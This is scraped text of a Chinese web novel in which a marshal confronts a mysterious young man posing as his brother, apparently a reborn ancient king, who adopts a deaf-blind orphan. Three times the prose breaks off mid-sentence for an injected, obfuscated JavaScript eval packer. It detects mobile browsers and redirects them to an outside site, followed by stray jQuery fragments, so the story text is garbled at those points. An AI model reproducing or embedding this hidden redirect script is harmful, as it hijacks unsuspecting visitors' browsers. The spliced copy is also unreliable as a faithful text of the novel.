说是花园,不过是一处金属浇灌的独立平台,外层由特殊玻璃覆盖,不仅防冻防弹还有屏蔽信号的作用。
必要时,这里还能成为战士们的哨塔,以供放风和狙击手瞄准。
“何其可悲。”
看着隔墙外白皑皑的雪地,苏罗直言道。
“如果这就是未来统领会欣赏到的风景,真是太可悲了。”
“最高军衔只有元帅。”苏霆也终于开口,语气冰冷如故,“哪怕在首都,也只有大将军的名号坐镇。”
他垂眸盯着身前人的发旋,极短的距离避不开苏罗的突然转头。
“可曾经不是。”苏罗闷着笑反驳。
他们再次四目相对了。
重伤过,或该说真正‘死’过一次的后者脸上透着异常的白,眼珠里的血丝不比常年熬夜的失眠者少。
可那道视线直刺而来,竟比日光更具攻击性,灼热且蛮不讲理。
苏霆眨了下眼,本能的。
仿佛是确定什么,苏罗转回头,右手重新撑住脸,了无兴致地环顾。
“你现在一定在想,要怎么不着痕迹地把我请出基地,安排掉我衣食无忧,安分守己的后半生吧。”
男人没有回应,苏罗将其视作默认,接着细数起来。
“费兰村最富裕,近几年新建了畜牧基地,想必当地的饮食水准会比往年有很大提高吧?不过我讨厌只吃一种肉类,尤其还是羊肉,去那免谈。”
“隔壁的卡达郡想发展种植业,未来风景会不错,可没有成熟的器械尤其是土壤转换仪,收成只能烂在地里当成用不了的化肥。嗯,它也排除,我最见不得破烂玩意儿,那让我作呕。”
“佩佩郡虽然离军营最远,但离矿洞最近,最不愁断电危机了,但人少得更鬼城一样,住那我还不如挑个坟场,比它热闹多了……”
一番点评言辞辛辣,极尽贬损,莫说有故土情的本地人能听得心中冒火,连从边界逃进来的难民或许也会不快。
毕竟,他们就住在这鸟不拉屎的雪境,这是他们不得已而为之的选择。
谁会喜欢别人张口就否定自己的选择?
但苏霆面部紧绷,眼
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14176264|150591||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
球轻颤的样子肯定不是想要维护自己的家乡兼驻地。
他已听得心惊肉跳,把住轮椅的手几次抠进软垫里,掰断里面的钢架。
全部,都说中了。
斯卡蒂山脉,军营三道防守线内七座小城镇,每一个都如喋喋不休的青年所言,有着疲软的优势和难以攻克的劣势。
这些显而易见的表象,其实只要平时多勘测分析就能判断出来。
可对方再次仰头斜瞥着他,说出中高层骨干乃至他的亲信都鲜有人知的致命一问。
“最后嘛——我想问你们这的的能源洞到底枯竭多少年了?你们的库存还够不?”
苏霆眼神陡转,差点持不住多年历练下来的镇定。
从他曾祖父那代开始,苏家就掌控也保护着斯卡蒂山脉的蓝月能源开采洞。
斯卡蒂进出路线艰险,生存环境恶劣,可在最初一版的能量勘测图上,只有此处呈现一片壮阔纯粹的莹蓝色。
那是蓝月能源在地下流动的证明,还是浓度极高,存粮丰厚到自成循环的品种。
而这就成了先代选择留下死守,他们后代受困原地的根本原因。
哪怕凭他们落后的技术根本开采不了,也决不允许把能源开采权拱手相让,像把一块香喷白嫩的面包丢上天。
狡猾的海鸟会来争抢,好奇的野狗会来嗅闻。
凶恶又贪婪的秃鹫盘旋高处,等待着分食谁走投无路后倒下的尸体。
光是让他们知道这有能源,他们就能如此蠢蠢欲动,死咬不放。
若能源洞的反应减弱一事暴露,他们只会趁其真正衰竭前过来强占所谓‘他们应得的那份’,无论用什么手段。
“哎——原来还没彻底枯竭啊。”
苏罗坐姿又歪了几分,完全倚着扶手和身后苦思的男人对望。
他声调拉长,笑容讥讽,明示他刚才是在套话。
毫不夸张地说,他简直是恬不知耻的讨打典范。
此处是军队建立的疗养所,上到资深医生下到普通职工,百分之七十是苏霆手下培养并筛选出来的人员。
而在他们进来之前,空中花园的感应门就由苏霆授意自动锁定了。
在路过的人看来,里面就是空无一人的平台,外加几簇可怜巴巴的假植物。
作为元帅,他在这里处理掉苏洛就跟掐死一只小虫一样简单。
一个虚假的,原本就没多少亲情可言的兄弟。
一个狂放的,竟然大言不惭要他感恩的疯子。
此刻,疯子已收回视线,兀自起身活动着筋骨。
他拿出衣兜里的苹果,张大嘴咬下一口,用力得近乎撕咬,毫无美感可言。
果肉清脆汁多,采摘自最好的培养基地,在常年冰封的山脉里确实算得上奢侈品,是多少百姓一辈子都吃不到几次的珍馐。
可它的品尝者却态度平平,一口后就乏味地向后抛去。
苏霆条件反射接下了,也不再有多余动作。
“看在你真心招待过我的份上,我再宽裕半个月时间让你好好考虑。”
分明自己才是受威胁的那个,苏罗却背着手身姿笔挺,如同国王巡视,赤足沿着玻璃漫步。
他漫不经心说道。
“毕竟……您的宝贝弟弟才受歹人挟持重伤,双腿残废心灵受创,目前急需静养,谢绝一切会面。”
苏霆又是一顿,缓缓放下攥着苹果的手。
果汁从咬过的地方淌出,刚刚濡湿他掌心一片。
粘腻发稠,在空气催化下结了壳,蒙了霜。
他突然看不穿青年妥协,甚至主动提出方案的用意。
更直白地说,他读不懂对方从始至终的行为目的。
想要金钱可闭口不谈价格。
想要高位却只字未提要求。
如果是想背叛投靠外敌,那又何必在他面前招摇放肆,自曝身份虚假。
仅仅是理所当然地闯了进来,唯我独尊地横行。
就像昨天驾车撞进营地一样。
这个人的来,不是为了他们的什么而来。
而是他有想要的东西才来。
……
思忖间,元帅苏霆的杀意渐渐褪去。
而‘国王’的巡礼也结束了。
苏罗旋身,舔尽右手上残余的甜味。
“等你考虑清楚了,我再告诉你,我能给你什么回礼,包括我为什么会变成这幅模样。这可是亿万分之一概率的临幸,你给我记住了。”
不是请求交易,而是准许交易,他目中无人地态度倒是从一而终。
苏霆突然很想笑几声,无语且无计可施的那种。
但见对方在拇指上咬一咬,移开手后瞬秒切换绵羊一般纯良的神貌,他又笑不出来了。
“好不好嘛,大哥。算我求您。”
青年连声音都软了十几倍,虽有礼貌地站着,但却眼巴巴地望来。
怯意暗带歆慕,可怜得戳人心窝。
苏霆:“……”
这一次,堂堂元帅低头得心服口服。
不过他不是被青年的乖巧征服的。
他心念一动解除花园的封锁,并将轮椅又往前推几步。
他也露出公式化的微笑,短暂但犹为标准。
一如他下一句的回应。
“腿疾严重就不要这么精力充沛地闹腾撒欢了,你要是再有个三长两短,你兄长我承担不起责任,你说对么……弟弟。”
3. 元首的蓝宝石03
苏霆元帅的弟弟——苏洛小少爷,近期成了管辖军里的热门议词。
七天前,他在外出途中被军队的死仇,一群自称索拉兵团的匪徒掳走。
经过与敌人的周旋,他悄悄修改行路坐标,幸运地让车撞进防护墙得救。
可他却也不幸的伤到双腿,很可能余生残废。
“不对啊,我听到的版本是绑匪在进营地前就不省人事了。我那天还看到医疗组的运输车,总共开走三辆呢!”
搂着拖把的新兵语气笃定,跟周围的同僚绘声绘色分享道。
“我哥当时就在场,但是比较远,他亲眼看到一个人被抬下来,整个腰看上去都快断了,你们肯定猜不到那是谁。”
听罢有人揉着后背,幻痛地吸气。
“嘶——该不会,那是元帅的弟弟吧?”
“不对,再想想。”
开头就排除掉最可能的答案,余下的只能凭想象,且越猜越远。
最后,还是得由发问人揭开谜底。
“我跟你们说,那是上次差点伤到元帅的——”
“咚,咚,咚。”
连续三下锤击声规律且平稳,季宇飞收回手,警告般的晃动敲他们的资料盒。
“队伍,编号,名字,报上来后自己去领罚三个月。劳作时间在元帅的必经之路上偷懒说闲话,不要命了是吧?”
他声音严厉,灵动的狐狸眼却淡化了威慑感。
这正应了他后来话锋一转,勾唇轻笑道。
“不过嘛——你们要是能保证不再谈论这件事,而且能叫其他人一起闭嘴,这次就先免了。”
刚被捶打的几人立马站得笔直,连连点头并松了一口气。
毕竟就像季宇飞参谋长说的,这里是苏元帅的必经之路,要是被那位撞见,他们可不是领罚三个月那么简单了。
待季宇飞走远,最初带头的新兵也默默拖地,强行咽下最后一句诞生自八卦的疑惑。
按元帅近来震惊全员的行程,他现在不应该去医院陪同弟弟,亲自照看对方吗?
“所以呢?你这么快就放弃亲自监视他了?”
密室内,季宇飞亲口说出更准确的质问。
埋头于文书的苏霆头也没抬,淡淡回一句。
“我有安排其余人跟着。”
“哇——这原来就是您原来信誓旦旦的‘我会亲自逼他吐出实话’吗?”
季宇飞故作夸张,重复着六天前中午对方定下的保证。
桌后的男人置之不理,只有眉间皱起的阴影作出了微小回应。
自幼与苏霆相识,成年后又一起共事十五余年,季宇飞直觉事有蹊跷。
他索性拉开沙发椅,一坐下就翻着茶几上的报告给人添把火。
“我说苏大帅啊,您再这样下去就真的要成了痛心悔改,骄纵弟弟的好哥哥了。”
“每天亲自去送食物就算了,你还陪床看护且不许有人打搅。”
“你们兄友弟恭相亲相爱我没意见,可你知不知道你匀出来的工作窟窿是谁补啊?我都快四天没睡过好觉,黑眼圈都出来了。”
只有说到这,苏霆才勉为其难抬一下头,抖了抖刚才描摹的图纸,意思简单粗暴。
——我现在不是回来补了么?
——那就乖乖闭嘴
听出话外音,季宇飞蓦然瞪大了眼,随后激动地坐直身。
“天哪,你什么时候变成这种蛮不讲理的人了?”
苏霆写字的手猛地一顿,笔尖因惯力划出一道刺眼斜线。
或许季宇飞是开玩笑的意思,可连续跟某人共处六天六夜,心志坚定如他也遭不住折腾,差点以为自己也被传染了毛病。
无礼,粗蛮,口无遮拦,任何由恶劣衍生的特性词都可完美套到装病的青年身上。
可奇就奇在,他还能轻易倒转出让人无法叱责的另一面。
他会安慰笨拙打翻东西的护士,让其笑逐颜开,也会和痴呆的老兵聊家常,逗得人精神抖擞。
对饮食起居极尽挑剔的是他,物质短缺时能接受削减的也是他。
就譬如现在,他让出单间病房给来找他玩的老兵午睡,自己却摇着轮椅到处闲逛。
他的征战疆域要比苏霆广泛也随性多了,有时他甚至心血来潮要换上无菌衣,去近距离观摩手术。
惧于他的淫威,几乎没人敢当面阻拦他,而看在他是元帅家眷的份上,只要不是触及原则性的要求,院方都尽量满足他。
他的身影于长廊悠悠移动,似一条饱餐后餍足漂游的鲨鱼。
换药室,输液区,六至五层的外科诊疗室,每当他哼着小曲经过,就会有一批人跟着松口气擦把汗。
“太好了,那位小少爷今天不来巡检我们这。”
一名年轻的男护士狂拍胸脯,浑然不知他用上了‘巡检’如此意义深重的用词。
那不是间接的表明对方是他们的主管了吗?
刚有人这么反驳,马上又有辩方登场。
“可是,他真的懂啊。”
一名戴眼镜的技术员开始罗列证据。
除了基础的药理急救知识,看似随意游荡的苏洛少爷每造访一个科室或病房,都会详细地询问观察,给出整改意见,甚者直接上手接替。
忽略他令人战战兢兢的说话腔调,他做的事都是实打实的善举,连往日最拥堵忙碌的冻伤外科都得到优化,效率提升了不止三倍。
“呃,可怎么说好呢,他那个样子不像是在帮忙,反而是——”
“嗯我懂,总之就是……让人感谢不起来。”
触及知识盲区,原先辩论的正方反方双双词穷。
莫说是他们,上周欣然答应考虑半个月的苏元帅也看不明。
其实谜底就在谜面上。
“我的。”
散步到二楼的儿童院,苏罗斜靠着椅背,慵懒地哼出鼻音。
“这里……将会是我的。”
他望着在平台看不到的葱郁假树,用微小的,仿佛要融入风中的声音阐明他行动后的逻辑。
北边军营,斯卡蒂山脉,已解散的伊克利普斯帝国,后来的六十一邦国,这颗索拉星球,这整个荒唐可笑的世界。
从今往后,全都是属于他的东西。
他来让自己的所有物变得更合他的心意,即能跟他一样强盛到直达永恒的终点,这有什么问题吗?
就算有问题,那也不是针对他能否实现。
因为只要他来执行,那就一定会成功。
然后,他就终于能和……
“想得美!你这个臭叛徒!”
一声尖利的咒骂响起,苏罗眉头微蹙,视线随之偏移。
不远处的绿荫下,一群孩子正围着什么叫嚷。
他们年纪在十岁左右,目前尚未分化,身上的衣服陈旧但算干净。
“叛徒的女儿也是叛徒!滚出去!”
“就是!你凭什么在这里分走我们的东西用!”
“叛徒!叛徒!”
……
泄愤式的叫骂逐渐发展成实质性的推搡踩踏,被围攻的人似乎也没了逃跑的力气。
当中有一团蜷缩着的身子扑倒,像蜗壳般护着什么。
苏罗好整以暇观望,没有要上前制止的意思。
就像一直潜行在他身后的两名监视者,美名其曰护卫。
这二人是苏霆的直属侦察兵,职责除了打探敌情,平日还专门负责跟踪一些重点对象。
就譬如,外邦间谍。
那名被集体欺负的孩子,正是他们过去某一目标的子女。
更准确的说,是他的遗孤。
阿莉西亚·盖恩,天生失聪失明又体弱的可怜女孩,她的病只有进行蓝月重构才有望治愈,而且接受的年龄越早成功几率就越大。
否则等第二次性别分化后,她的情况就难说了。
成为alpha还好,那她的体质还有向上走的可能,如果成了omega或beta,机能的初始限制还明晃晃吊在她头上,时刻会变成刺向她的暗刀。
而她的父亲朱尔斯·盖恩,一名靠卖雪泥烟为生的可怜农夫,刚失去妻子没几年又在得知女儿的病情。
可蓝月能源又哪是一介平民轻易换到手的东西?
这个走投无路的男人不惜以身试险,以蓝月能源为条件成了索拉兵团的内应。
他的一生,一共背叛了两次。
第一次是背叛守护北境的他们,第二次是背叛欺骗他又残杀他同胞的匪徒。
他护着女儿,最终还是死在来报复并灭口的狮鹫刀下。
苏
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14176265|150591||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
霆元帅照旧下达判决与罪状,但在村民中封锁了消息,只是把阿莉西亚接来疗养院安顿。
然而纸包不住火,当初的幸存者们终究把失去爱人与家园的悲痛化成利刃,纷纷指向他的孩子。
一个又聋又瞎,或许从始至终都不知道发生什么的遗孤。
“噗、哈!”
成年人的笑声短促,却比孩童的尖叫更富穿透力,两名潜藏的侦察兵瞬间绷紧身体。
苏罗看着那群孩子发泄完毕,莫名其妙地笑了。
两个在不同位置的士兵互换眼色,心中想法一致。
这有什么好笑的?
正疑惑着,他们就见青年转动轮子,不紧不慢来到女孩跟前。
对方单穿一件男士棉衣,又破又脏沾满各式污垢,想必是别人砸垃圾导致的。
当苏罗的轮椅停在她脑门前一寸,她还是那副姿态。
弓着身,环住头,不动也不哭。
“喂哦——”
“叩叩叩,有人在吗?”
苏罗搞怪地喊两声,见对方仍一动不动又笑了。
“还真听不见啊。”
话音落,他指节扣着金属扶手。
震感经由地面传导,似电流直达女孩的肌肤。
她把头抬起,露出一张巴掌大的骷髅脸。
此话绝非夸张,她的瘦弱是体现在各个方面的,根本找不到富余的脂肪,她的一对浅蓝眼珠没有聚焦,空洞地对着外界。
为了更仔细看清她,苏罗又倾身凑近几分,近到女孩散发的酸臭侵入他的鼻腔,他的呼吸扑在女孩额前。
可他分明没必要这么做。
狐疑的不止女孩,还有两名悄悄挪动位置的侦察兵。
扶手上的敲击声又开始了。
长短没有固定,节奏时快时慢,拼不出任何可对应的暗号编译。
可出乎两人的意料,石雕般的女孩竟渐渐有了动作。
点头,摇头,迟疑地等待后又给出简单手势。
她仿佛在与苏罗凭空交流,双方都从生涩的试探逐步磨合。
最后,精准互通。
平日里最爱强调讨厌脏东西,苏罗此刻反而抓起女孩的手,将其放在自己的唇角,让她感受自己说话时的肌肉扯动。
由于朝向不对,跟踪的两人只有一员看清他的嘴型。
同样的,也只有另一人先看见女孩木着脸却泪如雨下的画面。
青年轻轻松手,表情又恢复原来的哂笑底色,任由女孩哭得衣襟全湿,嘴唇干裂。
仿佛他就是这样的人,一旦到了要做‘自己’的场合,多伪装一秒都是对他人格的亵渎。
这完全不影响女孩在痛哭过后起身,将她护在怀里的布偶上贡一般交给苏罗。
“唔,尚可,就是有点脏了。回头洗一洗就能带在身边了。”
苏罗装模作样点评,拿着布偶看着她,不知到底说的是谁。
阿莉西亚偏头两秒,似乎努力用自己的方式去聆听他,最后郑重点头。
可考验到这还没完。
下一刻,青年搭住女孩肩膀又凑到她耳边,像对正常人说悄悄话那样嘀咕几句。
女孩似懂非懂,站在原地琢磨良久。
她是否交了满分答案,这天傍晚听部下汇报的苏霆也知道了。
“她找到了我们的位置。”
侦察兵一号垂着头,沉闷的声音像是在对谁置气。
“然后她用口型告诉我们,那位大哥哥叫我传话,说……”
侦察兵二号接话,脸上的挫败更明显了。
两人最终还是没能亲口转述,而是拿出一张纸。
一旁的季宇飞忍不住探头。
看了几秒他表情呆滞,随后双肩颤抖越来越难遏止。
“苏元帅,您——”
本想看一眼苏霆压制狂涌的笑意,季宇飞扭头却对上男人从未露出过的臭脸。
于是,顿时破功。
“噗、噗哈哈哈哈!”
那张纸也在他的笑声中不知挣脱了谁的手,惬意地一摇一晃,如同谁的嘲笑飘落。
而上面写着——
【我最爱的薄脸皮闷骚男大哥,今天晚上的夜宵我要苹果派,我等你拍死烦人的苍蝇,专门一个人来亲自喂我哦,亲亲~】
4. 元首的蓝宝石04
带着缘由不明的怒气和一份苹果派,苏霆于夜里九点来到苏罗病房。
彼时苏罗正盘腿坐在床上,百无聊赖地给电视换台。
这宝贝机器是他第三天命令苏霆送来的,全医院仅此一个,价格比他的住院费贵一倍不止。
瞅见男人黑眸里的沉郁,他笑得更欢了。
“哟,我亲爱的薄脸皮闷骚大哥,你可让弟弟我等得好苦啊。”
甩出一句火上浇油的调侃,他又指向陪护床上的小身影。
“我后来一想,你日理万机忙于守护边境,我怎敢再霸占您的时间,赖着你昼夜不分的照顾我。所以,我就自作主张地找了个小仆人。”
小仆人即又瘦又矮的阿莉西亚,残疾且举目无亲,蜷在床脚紧紧搂着和她一样惨淡的破布偶。
“她蛮不错的。”
说出目前为止对外人的最高评价,苏罗放下遥控。
画面赫然播放着目前在首都台最火的儿童动画节目《银河少女战士》。
明知女阿莉西亚看不见听不到,苏霆莫名生出了这是青年故意选给女孩看的错觉。
五分钟后,他确定这就是错觉。
因为床上的青年怀抱枕头,自己看得咯咯发笑,阿莉西亚反倒睡着了。
青年时而随着电视里的少女战士高呼宣言,时而跳起来模仿她们的经典姿势,一边又代入感十足,怒斥着败落的反派。
还是以恨铁不成钢的口吻。
有前七天的相处,苏霆隐隐摸到了门路,大致能判定对方是真乐在其中。
四十五分钟的重播集结束,苏罗意犹未尽听完片尾曲,舒坦地伸了一个懒腰。
终于,他有时间理会一言不发的访客了。
“坐吧。”
他挑眉示意不知何时搬进来的小圆凳,矮他的床几十公分,就算男人坐下也得抬头仰视他。
这份刁钻的针对过分明显,苏霆无需思索就领略了。
“怎么,我安排的陪护就那么不合你意?”他低沉的嗓音也夹带了兴师问罪的微怒。
男人不提还好,如此直白地一讲,苏罗瞬时冷了眼神。
他一字一顿,像要把话钉进对方脑中地说道。
“你弟弟我还年轻着,记性好得很。”
“我清楚的记得,当初我明明白白地告诉你,是我给你半个月的考虑时间。”
是考虑也互相审视,审视对方是否有和自己进行下一步交涉的资格与条件。
一如一场战前谈判。
然而战争从来没有平等一说,只要号角吹响,舞台上就会轮番上演大吃小,小围大的戏码,散场之后尽是残酷与牺牲垒就的尸山。
除非,有一方得到了他们想要的东西。
又或者,所有参战方都两手空空,满盘皆输。
若要论证无需追溯久远的历史,回头看看伊克利普斯的消解,血红王的陨落就是了。
无声对峙许久,苏罗腆着脸笑着打岔。
“放轻松,苏元帅,我不是来把你们赶尽杀绝的,那样的话多糟蹋啊。你们要死,也得给我死在该死的地方。”
难以置信,这世上居然还有人能如此理所当然地说出让别人,尤其是最该敬重的士兵去死的话。
仿佛看穿苏霆冷脸下暗涌的不满,苏罗右手一摊,又继续道。
“我当然尊重你们每一个小兵小卒,前提是,他有那份保家卫民的自觉,而不是被虫蛀了心眼,装的全是屑片。”
苏霆紧抿的双唇松动,含住快到喉头的声音。
他仍没选择坐下,依然像第一天来时那样,立在床前与青年对视。
而他无法把‘俯视’一词强加在他们身上。
要怎么解释好呢?
脸庞恢复血色的青年靠坐着,目光永远填满一种难以理解的坚定。
那是高密度,高浓度的自我。
人类进化繁衍至今,发展出心智也构建起文明,他们有的选择投身宗教,有的仰仗权势利益,有的得过且过只求安生,还有守着身边的一亩三分地,或为情或为义而终身奋斗。
可眼前的人,却不属于任何一类。
他仿佛站在所有人无法企及的最高点,生来睥睨着众生万物,如同一位主宰。
在地面,主宰是民拥立选成的,凭实力,凭威信,也凭后续的稳固手段。
然而在变幻莫测的天上,‘主宰’似乎天然地作为统领诞生,任他人所不能,越无人能跨之境。
以及,无所不知。
“……你知道?”
苏霆问出一个在苏罗听来尤为可笑的话。
病房大门已锁,室内早被搜查,唯一的外人阿莉西亚正呼呼酣睡,所以他毫不顾忌地开口。
“能把只是外出散步,偶然路过一家书店的‘苏洛少爷’从封锁线里带走,一路下来还没惊动任何人,如果这都不是你嫌我烦有意串通对面除掉我,那我真想不到还有谁了,大哥。”
现在这声‘大哥’给苏霆听来犹为讽刺,他皱起眉,往床头柜一靠。
千防万防,他最终还是防不住不知何时渗透至深的内鬼。
对各种间谍战,他有自信应对,多年来也秘密处理掉不下百余人。
他们有的是民间自发的组织,也有来自别国精心培养的特工,绞尽脑汁接近他或者他身边的人。
这些无一例外被他和部下们揪出,按律处理。
唯独这次,他找不到丝毫痕迹。
“狮鹫还没醒,另外三人也原因不明的昏迷。”苏霆沉声道,目光直指苏罗,“拜你所赐。”
“别啊,大哥。你怎么把什么功绩都往我头上按,这让你下属知道,又要给我扣关系户的帽子了。”
无视他阴阳话里的暗示,苏霆只揪出另一点。
“你想进我的队伍?用苏洛的身份?”
满意于他这次的直接,苏罗大发慈悲地认真回答了。
“探察民情的最好方法就是从底层做起,若没见过民间疾苦,谈何安邦定国呀。”
他话说得漂亮,配上此刻稚嫩的脸,透着一股子天真烂漫的傻劲。
放在几天前,苏霆会直接当这是打趣抛之脑后,换做今日,他忽然反常地动摇了。
先是确认青年没有反叛或伤害谁的意图,后又认清对方轻佻作风下的不凡实力。
到现在,队里也只有季宇飞和他们一样察觉到有内鬼作祟。
而无论这个苏洛是不是他兄弟,他都有义务选用能者栽培,而非闭门拒之。
再说了,这家伙其实一开始就是来自荐的。
尽管傲慢得不可思议。
初见时那张如狂兽的笑脸几度闪回,苏霆抚着下唇,暗自叹了口气。
无论实际能力如何,青年的心境绝对衬得上那份傲慢。
即便如此,隔阂与忌惮还横在他们中间。
“可你……”
左思右想,苏霆绕回最基础的担忧。
青年与苏洛的身份是不符的,可生理上仍是omega,毋庸置疑。
在斯卡蒂界内,将士们有接受蓝月改造的优先权。
遗憾的是,从他父亲那辈起,能源的开采数就急速锐减,到了他这代别说收集量了,连改造率都缩小到百分之五。
“你下个月就满十八周岁了,很多事情都会变得不一样。”
开口第一句委婉,可发觉青年眯起眼面露不悦,苏霆又下意识调转口风。
“如果你是想得到那个能源,我只能不幸地告诉你,你根本排不上号。我们可支配的库存早就见底了,余下的只能稀释后用来急救。”
神迹般的能源,蓝月。
转化无耗损,使用无污染,按照调配比例注入人体,能实现一步登天的强化。
它的用处不仅限于人体改造。
快速治愈,修补古迹,配合光能武器提高使用效率和寿命……
无论哪个领域,不可思议的能源总能找到用武之地,创造奇迹。
仿佛在问世之初,它就注定会成为人类步入新纪元的基石,全方面的优化世界。
谁能想到,人们非但没实现辉煌的愿景,反而逆行百年,回到电能为主光能为辅的旧时代。
人与人之间,尤其是以性别为界点的人际关系重新变得紧张。
Alpha与omega再次被信息素的绳索束缚,beta虽然不受其左右,甚至因此变相地得到更多机会,可在争取蓝月重构的道路上却又无奈地和他们撞上了。
唯一令人宽心的是,受改造者的后代会出现‘沉降’现象。
即omega会推迟信息素的释放且程度可控,alpha也不会因为信息素完全失智,只是身体会有轻微反应而已。
就现状分析,那位血红王的推行还真不是白费力气。
“愚蠢。”
苏罗冷笑一声,叫停某元帅的思维发散。
对方抬眼,他起身站在床上,如愿以俯瞰视角瞪着又一个让他恨铁不成钢的蠢猪。
“为了得到能源?为了改造身体?你哪来的胆量敢揣测我,竟然和那种目光短浅的平庸之辈是同一档次。”
咄嗟之间,苏霆的小腿肌肉抽动两次。
一次是服从于心中叫嚣的惧意,一次是为镇压临危求生的战意。
身长近两米的他居于下位,大脑分裂出截然相反的声音。
那感觉就像年少时面对父母的训斥,即畏于长辈的威光,又被挑起冲动的反抗欲念。
父母?
恶棍还差不多吧。
苏霆眼睛一眨不眨,藏在身后的右手早攥紧蓄力。
继任元帅之位起,他就见过无数恶徒的面孔。
他们或淫邪,或残虐,或以温和美好作为假面,但都藏不住血肉之下一颗脏污腐化的黑心。
可却从来没见过眼前这样的。
狂暴但保持着雍容沉凝的气度,冷厉却不含分毫偏颇。
这是在一视同仁的蔑视自己之外的‘所有’,并且也是属于他的‘所有’。
时隔七日,苏霆终于为反复骚扰自己的可怖笑容找到了解释。
为何这抹印象总是阴魂不散?
因为他曾经看过一样的笑。
苏家的地下库房,只有现任家主能够出入的密室里,存放着血红王的三件遗物。
一幅画,一柄刀,一个用恒冻技术保存至今的水晶瓶。
与市面上流传的威严肖像不同,那幅画里的血红王更年轻也更艳丽。
他没选择惯用的赤色背景,而是只身一人霸着银白王座,紫罗兰色的双眸直视前方。
他的微笑很淡,淡到在远处看来就像一笔阴影。
可无论站得多远,瞻仰者都会品味到他瞳仁中燃着的不灭焰火。
那是苏霆第一次直观的感受到,何为王的眼神。
荣耀不在冠冕华服,是在目光所至之处。
野心不为权钱酒色,是为征服所到之地。
王的‘来’,从来不是为了强取豪夺谁的什么而来。
相反,他是来恩威并济的统领的。
“余在问你,谁准许你用你那不敬的眼睛,直视余的。”
声音轻飘的一问,重音仅落在古老的,早已不被延用的自称上,却似骤然降下的闸刀,砍向头皮发麻的苏霆。
他蓦地右腿弯曲,整个人跟着摇晃跪倒。
即便膝盖离地还有几寸高度,差点以手撑地的苏霆也震惊至极。
今天以前,他绝不相信有谁单凭一句话的气势就能压得别人喘不过气,心跳加剧。
以深呼吸强止惊骇,苏霆迫使自己抬头,试图借此推翻自己几秒钟前的怵然颤抖。
“你……”
“余还要问你。”
苏罗再一次打断男人,却徐徐转动眼珠,冰冷地觑向后方。
“是谁给你的资格,胆敢窥窃余与蠢臣的会谈的?”
余下的所有过程,似在一帧胶片的燃烧时间中结束。
沉睡的阿莉西亚睁眼暴起,扑向锁着的窗户。
与此同时她的主人,病床上的青年也旋身甩手,浅蓝衣袖中飞出一道寒芒。
女孩打开窗,光也
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14176266|150591||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
穿过空隙,二者的合作可谓天衣无缝,成功击中外面的某物。
那是只鸽子。
洁白的羽毛染满它胸口迸溅的鲜血,一柄银叉将它钉在挡风棚边缘。
它甚至都没能挣扎或哀嚎一下,直接断了气。
落后两人进度太多,苏霆在女孩跳下地时终于回神。
他探出窗户小心取下鸽子。
暖烘烘的尸体刚握到手,他立马察觉出了异常。
这只鸽子异常的沉,重量大概是它外表的一点五倍。
拨开它头顶羽毛细看,羽根稀疏的地方竟然印着一条红色细线。
不多不少,正好圈出脑部范围。
“竟然是生物记忆芯片?”苏霆失声道。
该项技术他有所耳闻,帝国解体前同样由血红王审批并参与研发,且刚好在他被暗杀前宣布结束。
其结果一直没向大众公开,后来相关资料又成为一级机密收录在首都的秘藏阁。
大概六年前,他通过靠谱的信息渠道了解过,有一部分实验内容曾遭到盗取,此后成为各种黑||市里的传说级商品,起卖价起码与两三颗私人星球的地皮等值。
和蓝月能源不同,所谓的生物记忆芯片纯粹是由人伪造的‘奇迹’。
具体操作目前没有统一说法,但它‘一换一’甚至‘多换一’的属性是人尽皆知。
笼统地说,那即是取走一个生物的大脑换到另一个生物体内,过程可以叠加,并且让最初的‘置换脑’同时保留两份以上的意识。
绝对的反人伦,反常理的做法。
可为什么它突然问世了?
而且还是以相当成熟的技术。
短短半个小时受到各种颠覆认知的刺激,苏霆难以再冷静地思考。
等他勉强稳住心神,手中的鸽子已经冰冷发僵,石块一样硌着他手掌。
将男人彻底拉回现实的,是苏罗切割苹果派的动静。
冷却后的派皮焦香,与刀摩擦发出清脆的簌簌声。
重新坐回床上的苏罗仿佛无事发生,用手捻起掉在衣服上的碎屑。
和当初在平台一样,他用刀尖插起切好的中心块,接着大口咬下,咀嚼品味着内陷的甜蜜。
他的表情看不出喜恶,一口后就意兴索然的放下刀。
转过头,他对微愣的苏霆倒是露出几分趣味。
“嗯,可以,看在你这次有好好按我的口味选购的份上,我饶恕你了。”
称谓复原,语气回归,他爽快地终结一场单方面的君臣问罪。
说罢他不理会对方,反而向阿莉西亚勾勾手指。
“你的表现最不错,当赏。”
女孩双耳微动,继而低头轻轻摇晃,动作略显僵硬。
她的想法,苏罗一眼就看明了。
